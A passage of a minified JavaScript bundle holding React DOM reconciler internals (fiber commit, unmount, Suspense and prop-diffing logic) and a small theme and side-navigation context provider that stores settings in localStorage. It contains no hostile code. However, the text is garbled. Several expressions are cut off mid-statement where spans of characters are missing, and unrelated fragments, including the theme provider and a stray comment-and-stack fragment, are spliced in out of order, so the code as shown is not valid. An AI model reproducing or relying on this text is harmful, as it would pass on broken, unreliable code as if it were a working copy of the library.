l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=$l));else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}function lc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(lc(s,a,n),s=s.sibling;s!==null;)lc(s,a,n),s=s.sibling}var as=null,Hs=!1;function sa(s,a,n){for(n=n.child;n!==null;)Ki(s,a,n),n=n.sibling}function Ki(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=as,p=Hs;as=null,sa(s,a,n),as=l,Hs=p,as!==null&&(Hs?(s=as,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):as.removeChild(n.stateNode));break;case 18:as!==null&&(Hs?(s=as,n=n.stateNode,s.nodeType===8?ae(s.parentNode,n):s.nodeType===1&&ae(s,n),_n(s)):ae(as,n.stateNode));break;case 4:l=as,p=Hs,as=n.stateNode.containerInfo,Hs=!0,sa(s,a,n),as=l,Hs=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&sc(n,a,c),p=p.next}while(p!==l)}sa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}sa(s,a,n);break;case 21:sa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,sa(s,a,n),ts=l):sa(s,a,n);break;default:sa(s,a,n)}}function ho(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new Wd),a.forEach(function(l){var p=Fd.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Rs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fd(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,hp=0,F&6)throw Error(w(331));var p=F;for(F|=4,f=s.current;f!==null;){var e=f,c=e.child;if(f.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-Pc?Va(s,0):Oc|=n),ys(s,a)}function Qi(s,a){a===0&&(s.mode&1?(a=ml,ml<<=1,!(ml&130023424)&&(ml=4194304)):a=1);var n=hs();s=Ps(s,a),s!==null&&(tl(s,a,n),ys(s,n))}function Hd(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Qi(s,n)}function Fd(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Qi(s,n)}var _i;_i=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||js.current)Cs=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return Cs=!1,wd(s,a,n);Cs=!!(s.flags&131072)}else Cs=!1,J&&a.flags&1048576&&Dr(a,np,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;Ml(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Lc(null,a,l,s,p,n);var e=Qc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,us(l)?(e=!0,sp(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,xc(a),p.updater=kp,a.stateNode=p,p._reactInternals=a,Ue(a,l,s,n),a=Oe(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),is(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(Ml(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=Kd(l),s=Xs(l,s),p){case 0:a=De(null,a,l,s,n);break s;case 1:a=co(null,a,l,s,n);break s;case 11:a=po(null,a,l,s,n);break s;case 14:a=eo(null,a,l,Xs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Xs(l,p),De(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Xs(l,p),co(s,a,l,p,n);case 3:s:{if(Vi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,qr(s,a),ep(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=hn(Error(w(423)),a),a=to(s,a,l,n,p);break s}else if(l!==p){p=hn(Error(w(424)),a),a=to(s,a,l,n,p);break s}else for(As=ga(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Fs=null,n=li(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=$s(s,a,n);break s}is(s,a,l,n)}a=a.child}return a;case 5:return pi(a),s===null&&Le(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,xe(l,p)?c=null:e!==null&&xe(l,e)&&(a.flags|=32),fi(s,a),is(s,a,c,n),a.child;case 6:return s===null&&Le(a),null;case 13:return vi(s,a,n);case 4:return Mc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):is(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Xs(l,p),po(s,a,l,p,n);case 7:return is(s,a,a.pendingProps,n),a.child;case 8:return is(s,a,a.pendingProps.children,n),a.child;case 12:return is(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,K(lp,l._currentValue),l._currentValue=c,e!==null)if(Ss(e.value,c)){if(e.children===p.children&&!js.current){a=$s(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=Ts(-1,n&-n),o.tag=2;var r=e.updateQueue;if(r!==null){r=r.shared;var d=r.pending;d===null?o.next=o:(o.next=d.next,d.next=o),r.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Qe(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Qe(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}is(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=Vs(p),l=l(p),a.flags|=1,is(s,a,l,n),a.child;case 14:return l=a.type,p=Xs(l,a.pendingProps),p=Xs(l.type,p),eo(s,a,l,p,n);case 15:return Bi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Xs(l,p),Ml(s,a),a.tag=1,us(l)?(s=!0,sp(a)):s=!1,ln(a,n),ai(a,l,p),Ue(a,l,p,n),Oe(null,a,l,!0,s,n);case 19:return Yi(s,a,n);case 22:return Gi(s,a,n)}throw Error(w(156,a.tag))};function Ui(s,a){return mr(s,a)}function Nd(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Gs(s,a,n,l){return new Nd(s,a,n,l)}function at(s){return s=s.prototype,!(!s||!s.isReactComponent)}function Kd(s){if(typeof s=="function")return at(s)?1:0;if(s!=null){if(s=s.$$typeof,s===Ac)return 11;if(s===bc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Gs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function El(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")at(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return va(n.children,p,e,a);case mc:c=8,p|=8;break;case ue:return s=Gs(12,n,a,p|2),s.elementType=ue,s.lanes=e,s;case ye:return s=Gs(13,n,a,p),s.elementType=ye,s.lanes=e,s;case me:return s=Gs(19,n,a,p),s.elementType=me,s.lanes=e,s;case nr:return Gp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case Ac:c=11;break s;case bc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Gs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function va(s,a,n,l){return s=Gs(7,s,l,a),s.lanes=n,s}function Gp(s,a,n,l){return s=Gs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function re(s,a,n){return s=Gs(6,s,null,a),s.lanes=n,s}function ie(s,a,n){return a=Gs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function Sd(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Lp(0),this.expirationTimes=Lp(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Lp(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function nt(s,a,n,l,p,e,c,t,o){return s=new Sd(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Gs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},xc(e),s}function xd(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Pi)}catch(s){console.error(s)}}Pi(),Do.exports=ks;var Ld=Do.exports,$i,qi,Ao=Ld;qi=Ao.createRoot,$i=Ao.hydrateRoot;const sh={theme:"light",sideNav:!0,initialized:!1},ah=W.createContext({state:sh,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function ct(){return W.useContext(ah)}function bo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const wo=({children:s})=>{const[a,n]=W.useState(sh);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let r=t.width>=500;{const d=localStorage.getItem("sideNav");d&&(r=d=="true")}l(o),n(d=>({...d,theme:o,sideNav:r}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),bo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),bo("sideNav",t)}return i.jsx(ah.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** +`+e.stack}return{value:s,source:a,stack:p,digest:null}}function te(s,a,n){return{value:s,source:null,stack:n??null,digest:a??null}}function Te(s,a){try{console.error(a.value)}catch(n){setTimeout(function(){throw n})}}var Ad=typeof WeakMap=="function"?WeakMap:Map;function Wi(s,a,n){n=Ts(-1,n),n.tag=3,n.payload={element:null};var l=a.value;return n.callback=function(){ip||(ip=!0,pc=l),Te(s,a)},n}function Bi(s,a,n){n=Ts(-1,n),n.tag=3;var l=s.type.getDerivedStateFromError;if(typeof l=="function"){var p=a.value;n.payload=function(){return l(p)},n.callback=function(){Te(s,a)}}var e=s.stateNode;return e!==null&&typeof e.componentDidCatch=="function"&&(n.callback=function(){Te(s,a),typeof l!="function"&&(Ia===null?Ia=new Set([this]):Ia.add(this));var c=a.stack;this.componentDidCatch(a.value,{componentStack:c!==null?c:""})}),n}function ao(s,a,n){var l=s.pingCache;if(l===null){l=s.pingCache=new Ad;var p=new Set;l.set(a,p)}else p=l.get(a),p===void 0&&(p=new Set,l.set(a,p));p.has(n)||(p.add(n),s=Hd.bind(null,s,a,n),a.then(s,s))}function no(s){do{var a;if((a=s.tag===13)&&(a=s.memoizedState,a=a!==null?a.dehydrated!==null:!0),a)return s;s=s.return}while(s!==null);return null}function lo(s,a,n,l,p){return s.mode&1?(s.flags|=65536,s.lanes=p,s):(s===a?s.flags|=65536:(s.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(a=Ts(-1,1),a.tag=2,da(n,a,1))),n.lanes|=1),s)}var bd=qs.ReactCurrentOwner,Cs=!1;function is(s,a,n,l){a.child=s===null?pi(a,null,n,l):on(a,s.child,n,l)}function po(s,a,n,l,p){n=n.render;var e=a.ref;return ln(a,p),l=Lc(s,a,n,l,e,p),n=Qc(),s!==null&&!Cs?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,$s(s,a,p)):(J&&n&&Rc(a),a.flags|=1,is(s,a,l,p),a.child)}function eo(s,a,n,l,p){if(s===null){var e=n.type;return typeof e=="function"&&!at(e)&&e.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(a.tag=15,a.type=e,Gi(s,a,e,l,p)):(s=El(n.type,null,l,a,a.mode,p),s.ref=a.ref,s.return=a,a.child=s)}if(e=s.child,!(s.lanes&p)){var c=e.memoizedProps;if(n=n.compare,n=n!==null?n:Tn,n(c,l)&&s.ref===a.ref)return $s(s,a,p)}return a.flags|=1,s=ja(e,l),s.ref=a.ref,s.return=a,a.child=s}function Gi(s,a,n,l,p){if(s!==null){var e=s.memoizedProps;if(Tn(e,l)&&s.ref===a.ref)if(Cs=!1,a.pendingProps=l=e,(s.lanes&p)!==0)s.flags&131072&&(Cs=!0);else return a.lanes=s.lanes,$s(s,a,p)}return De(s,a,n,l,p)}function fi(s,a,n){var l=a.pendingProps,p=l.children,e=s!==null?s.memoizedState:null;if(l.mode==="hidden")if(!(a.mode&1))a.memoizedState={baseLanes:0,cachePool:null,transitions:null},K($a,ms),ms|=n;else{if(!(n&1073741824))return s=e!==null?e.baseLanes|n:n,a.lanes=a.childLanes=1073741824,a.memoizedState={baseLanes:s,cachePool:null,transitions:null},a.updateQueue=null,K($a,ms),ms|=s,null;a.memoizedState={baseLanes:0,cachePool:null,transitions:null},l=e!==null?e.baseLanes:n,K($a,ms),ms|=l}else e!==null?(l=e.baseLanes|n,a.memoizedState=null):l=n,K($a,ms),ms|=l;return is(s,a,p,n),a.child}function Vi(s,a){var n=a.ref;(s===null&&n!==null||s!==null&&s.ref!==n)&&(a.flags|=512,a.flags|=2097152)}function De(s,a,n,l,p){var e=us(n)?Ra:os.current;return e=cn(a,e),ln(a,p),n=Lc(s,a,n,l,e,p),l=Qc(),s!==null&&!Cs?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,$s(s,a,p)):(J&&l&&Rc(a),a.flags|=1,is(s,a,n,p),a.child)}function co(s,a,n,l,p){if(us(n)){var e=!0;sp(a)}else e=!1;if(ln(a,p),a.stateNode===null)Ml(s,a),ni(a,n,l),Ue(a,n,l,p),l=!0;else if(s===null){var c=a.stateNode,t=a.memoizedProps;c.props=t;var o=c.context,r=n.contextType;typeof r=="object"&&r!==null?r=Vs(r):(r=us(n)?Ra:os.current,r=cn(a,r));var d=n.getDerivedStateFromProps,I=typeof d=="function"||typeof c.getSnapshotBeforeUpdate=="function";I||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==l||o!==r)&&Pt(a,c,l,r),la=!1;var j=a.memoizedState;c.state=j,ep(a,l,c,p),o=a.memoizedState,t!==l||j!==o||js.current||la?(typeof d=="function"&&(_e(a,n,d,l),o=a.memoizedState),(t=la||Ot(a,n,t,l,j,o,r))?(I||typeof c.UNSAFE_componentWillMount!="function"&&typeof c.componentWillMount!="function"||(typeof c.componentWillMount=="function"&&c.componentWillMount(),typeof c.UNSAFE_componentWillMount=="function"&&c.UNSAFE_componentWillMount()),typeof c.componentDidMount=="function"&&(a.flags|=4194308)):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),a.memoizedProps=l,a.memoizedState=o),c.props=l,c.state=o,c.context=r,l=t):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),l=!1)}else{c=a.stateNode,si(s,a),t=a.memoizedProps,r=a.type===a.elementType?t:Xs(a.type,t),c.props=r,I=a.pendingProps,j=c.context,o=n.contextType,typeof o=="object"&&o!==null?o=Vs(o):(o=us(n)?Ra:os.current,o=cn(a,o));var y=n.getDerivedStateFromProps;(d=typeof y=="function"||typeof c.getSnapshotBeforeUpdate=="function")||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==I||j!==o)&&Pt(a,c,l,o),la=!1,j=a.memoizedState,c.state=j,ep(a,l,c,p);var A=a.memoizedState;t!==I||j!==A||js.current||la?(typeof y=="function"&&(_e(a,n,y,l),A=a.memoizedState),(r=la||Ot(a,n,r,l,j,A,o)||!1)?(d||typeof c.UNSAFE_componentWillUpdate!="function"&&typeof c.componentWillUpdate!="function"||(typeof c.componentWillUpdate=="function"&&c.componentWillUpdate(l,A,o),typeof c.UNSAFE_componentWillUpdate=="function"&&c.UNSAFE_componentWillUpdate(l,A,o)),typeof c.componentDidUpdate=="function"&&(a.flags|=4),typeof c.getSnapshotBeforeUpdate=="function"&&(a.flags|=1024)):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),a.memoizedProps=l,a.memoizedState=A),c.props=l,c.state=A,c.context=o,l=r):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),l=!1)}return Oe(s,a,n,l,e,p)}function Oe(s,a,n,l,p,e){Vi(s,a);var c=(a.flags&128)!==0;if(!l&&!c)return p&&Qt(a,n,!1),$s(s,a,e);l=a.stateNode,bd.current=a;var t=c&&typeof n.getDerivedStateFromError!="function"?null:l.render();return a.flags|=1,s!==null&&c?(a.child=on(a,s.child,null,e),a.child=on(a,null,t,e)):is(s,a,t,e),a.memoizedState=l.state,p&&Qt(a,n,!0),a.child}function vi(s){var a=s.stateNode;a.pendingContext?Lt(s,a.pendingContext,a.pendingContext!==a.context):a.context&&Lt(s,a.context,!1),Mc(s,a.containerInfo)}function to(s,a,n,l,p){return tn(),Hc(p),a.flags|=256,is(s,a,n,l),a.child}var Pe={dehydrated:null,treeContext:null,retryLane:0};function $e(s){return{baseLanes:s,cachePool:null,transitions:null}}function Yi(s,a,n){var l=a.pendingProps,p=z.current,e=!1,c=(a.flags&128)!==0,t;if((t=c)||(t=s!==null&&s.memoizedState===null?!1:(p&2)!==0),t?(e=!0,a.flags&=-129):(s===null||s.memoizedState!==null)&&(p|=1),K(z,p&1),s===null)return Le(a),s=a.memoizedState,s!==null&&(s=s.dehydrated,s!==null)?(a.mode&1?s.data==="$!"?a.lanes=8:a.lanes=1073741824:a.lanes=1,null):(c=l.children,s=l.fallback,e?(l=a.mode,e=a.child,c={mode:"hidden",children:c},!(l&1)&&e!==null?(e.childLanes=0,e.pendingProps=c):e=Gp(c,l,0,null),s=va(s,l,n,null),e.return=a,s.return=a,e.sibling=s,a.child=e,a.child.memoizedState=$e(n),a.memoizedState=Pe,s):Tc(a,c));if(p=s.memoizedState,p!==null&&(t=p.dehydrated,t!==null))return wd(s,a,c,l,t,p,n);if(e){e=l.fallback,c=a.mode,p=s.child,t=p.sibling;var o={mode:"hidden",children:l.children};return!(c&1)&&a.child!==p?(l=a.child,l.childLanes=0,l.pendingProps=o,a.deletions=null):(l=ja(p,o),l.subtreeFlags=p.subtreeFlags&14680064),t!==null?e=ja(t,e):(e=va(e,c,n,null),e.flags|=2),e.return=a,l.return=a,l.sibling=e,a.child=l,l=e,e=a.child,c=s.child.memoizedState,c=c===null?$e(n):{baseLanes:c.baseLanes|n,cachePool:null,transitions:c.transitions},e.memoizedState=c,e.childLanes=s.childLanes&~n,a.memoizedState=Pe,l}return e=s.child,s=e.sibling,l=ja(e,{mode:"visible",children:l.children}),!(a.mode&1)&&(l.lanes=n),l.return=a,l.sibling=null,s!==null&&(n=a.deletions,n===null?(a.deletions=[s],a.flags|=16):n.push(s)),a.child=l,a.memoizedState=null,l}function Tc(s,a){return a=Gp({mode:"visible",children:a},s.mode,0,null),a.return=s,s.child=a}function Gl(s,a,n,l){return l!==null&&Hc(l),on(a,s.child,null,n),s=Tc(a,a.pendingProps.children),s.flags|=2,a.memoizedState=null,s}function wd(s,a,n,l,p,e,c){if(n)return a.flags&256?(a.flags&=-257,l=te(Error(w(422))),Gl(s,a,c,l)):a.memoizedState!==null?(a.child=s.child,a.flags|=128,null):(e=l.fallback,p=a.mode,l=Gp({mode:"visible",children:l.children},p,0,null),e=va(e,p,c,null),e.flags|=2,l.return=a,e.return=a,l.sibling=e,a.child=l,a.mode&1&&on(a,s.child,null,c),a.child.memoizedState=$e(c),a.memoizedState=Pe,e);if(!(a.mode&1))return Gl(s,a,c,null);if(p.data==="$!"){if(l=p.nextSibling&&p.nextSibling.dataset,l)var t=l.dgst;return l=t,e=Error(w(419)),l=te(e,l,void 0),Gl(s,a,c,l)}if(t=(c&s.childLanes)!==0,Cs||t){if(l=ss,l!==null){switch(c&-c){case 4:p=2;break;case 16:p=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:p=32;break;case 536870912:p=268435456;break;default:p=0}p=p&(l.suspendedLanes|c)?0:p,p!==0&&p!==e.retryLane&&(e.retryLane=p,Ps(s,p),Ks(l,s,p,-1))}return st(),l=te(Error(w(421))),Gl(s,a,c,l)}return p.data==="$?"?(a.flags|=128,a.child=s.child,a=Fd.bind(null,s),p._reactRetry=a,null):(s=e.treeContext,As=ga(p.nextSibling),bs=a,J=!0,Fs=null,s!==null&&(Ws[Bs++]=_s,Ws[Bs++]=Us,Ws[Bs++]=Xa,_s=s.id,Us=s.overflow,Xa=a),a=Tc(a,l.children),a.flags|=4096,a)}function oo(s,a,n){s.lanes|=a;var l=s.alternate;l!==null&&(l.lanes|=a),Qe(s.return,a,n)}function oe(s,a,n,l,p){var e=s.memoizedState;e===null?s.memoizedState={isBackwards:a,rendering:null,renderingStartTime:0,last:l,tail:n,tailMode:p}:(e.isBackwards=a,e.rendering=null,e.renderingStartTime=0,e.last=l,e.tail=n,e.tailMode=p)}function Ri(s,a,n){var l=a.pendingProps,p=l.revealOrder,e=l.tail;if(is(s,a,l.children,n),l=z.current,l&2)l=l&1|2,a.flags|=128;else{if(s!==null&&s.flags&128)s:for(s=a.child;s!==null;){if(s.tag===13)s.memoizedState!==null&&oo(s,n,a);else if(s.tag===19)oo(s,n,a);else if(s.child!==null){s.child.return=s,s=s.child;continue}if(s===a)break s;for(;s.sibling===null;){if(s.return===null||s.return===a)break s;s=s.return}s.sibling.return=s.return,s=s.sibling}l&=1}if(K(z,l),!(a.mode&1))a.memoizedState=null;else switch(p){case"forwards":for(n=a.child,p=null;n!==null;)s=n.alternate,s!==null&&cp(s)===null&&(p=n),n=n.sibling;n=p,n===null?(p=a.child,a.child=null):(p=n.sibling,n.sibling=null),oe(a,!1,p,n,e);break;case"backwards":for(n=null,p=a.child,a.child=null;p!==null;){if(s=p.alternate,s!==null&&cp(s)===null){a.child=p;break}s=p.sibling,p.sibling=n,n=p,p=s}oe(a,!0,n,null,e);break;case"together":oe(a,!1,null,null,void 0);break;default:a.memoizedState=null}return a.child}function Ml(s,a){!(a.mode&1)&&s!==null&&(s.alternate=null,a.alternate=null,a.flags|=2)}function $s(s,a,n){if(s!==null&&(a.dependencies=s.dependencies),Fa|=a.lanes,!(n&a.childLanes))return null;if(s!==null&&a.child!==s.child)throw Error(w(153));if(a.child!==null){for(s=a.child,n=ja(s,s.pendingProps),a.child=n,n.return=a;s.sibling!==null;)s=s.sibling,n=n.sibling=ja(s,s.pendingProps),n.return=a;n.sibling=null}return a.child}function kd(s,a,n){switch(a.tag){case 3:vi(a),tn();break;case 5:ei(a);break;case 1:us(a.type)&&sp(a);break;case 4:Mc(a,a.stateNode.containerInfo);break;case 10:var l=a.type._context,p=a.memoizedProps.value;K(lp,l._currentValue),l._currentValue=p;break;case 13:if(l=a.memoizedState,l!==null)return l.dehydrated!==null?(K(z,z.current&1),a.flags|=128,null):n&a.child.childLanes?Yi(s,a,n):(K(z,z.current&1),s=$s(s,a,n),s!==null?s.sibling:null);K(z,z.current&1);break;case 19:if(l=(n&a.childLanes)!==0,s.flags&128){if(l)return Ri(s,a,n);a.flags|=128}if(p=a.memoizedState,p!==null&&(p.rendering=null,p.tail=null,p.lastEffect=null),K(z,z.current),l)break;return null;case 22:case 23:return a.lanes=0,fi(s,a,n)}return $s(s,a,n)}var Xi,qe,Hi,Fi;Xi=function(s,a){for(var n=a.child;n!==null;){if(n.tag===5||n.tag===6)s.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===a)break;for(;n.sibling===null;){if(n.return===null||n.return===a)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};qe=function(){};Hi=function(s,a,n,l){var p=s.memoizedProps;if(p!==l){s=a.stateNode,fa(Es.current);var e=null;switch(n){case"input":p=be(s,p),l=be(s,l),e=[];break;case"select":p=L({},p,{value:void 0}),l=L({},l,{value:void 0}),e=[];break;case"textarea":p=Ze(s,p),l=Ze(s,l),e=[];break;default:typeof p.onClick!="function"&&typeof l.onClick=="function"&&(s.onclick=$l)}Be(n,l);var c;n=null;for(r in p)if(!l.hasOwnProperty(r)&&p.hasOwnProperty(r)&&p[r]!=null)if(r==="style"){var t=p[r];for(c in t)t.hasOwnProperty(c)&&(n||(n={}),n[c]="")}else r!=="dangerouslySetInnerHTML"&&r!=="children"&&r!=="suppressContentEditableWarning"&&r!=="suppressHydrationWarning"&&r!=="autoFocus"&&(Jn.hasOwnProperty(r)?e||(e=[]):(e=e||[]).push(r,null));for(r in l){var o=l[r];if(t=p!=null?p[r]:void 0,l.hasOwnProperty(r)&&o!==t&&(o!=null||t!=null))if(r==="style")if(t){for(c in t)!t.hasOwnProperty(c)||o&&o.hasOwnProperty(c)||(n||(n={}),n[c]="");for(c in o)o.hasOwnProperty(c)&&t[c]!==o[c]&&(n||(n={}),n[c]=o[c])}else n||(e||(e=[]),e.push(r,n)),n=o;else r==="dangerouslySetInnerHTML"?(o=o?o.__html:void 0,t=t?t.__html:void 0,o!=null&&t!==o&&(e=e||[]).push(r,o)):r==="children"?typeof o!="string"&&typeof o!="number"||(e=e||[]).push(r,""+o):r!=="suppressContentEditableWarning"&&r!=="suppressHydrationWarning"&&(Jn.hasOwnProperty(r)?(o!=null&&r==="onScroll"&&S("scroll",s),e||t===o||(e=[])):(e=e||[]).push(r,o))}n&&(e=e||[]).push("style",n);var r=e;(a.updateQueue=r)&&(a.flags|=4)}};Fi=function(s,a,n,l){n!==l&&(a.flags|=4)};function Bn(s,a){if(!J)switch(s.tailMode){case"hidden":a=s.tail;for(var n=null;a!==null;)a.alternate!==null&&(n=a),a=a.sibling;n===null?s.tail=null:n.sibling=null;break;case"collapsed":n=s.tail;for(var l=null;n!==null;)n.alternate!==null&&(l=n),n=n.sibling;l===null?a||s.tail===null?s.tail=null:s.tail.sibling=null:l.sibling=null}}function es(s){var a=s.alternate!==null&&s.alternate.child===s.child,n=0,l=0;if(a)for(var p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags&14680064,l|=p.flags&14680064,p.return=s,p=p.sibling;else for(p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags,l|=p.flags,p.return=s,p=p.sibling;return 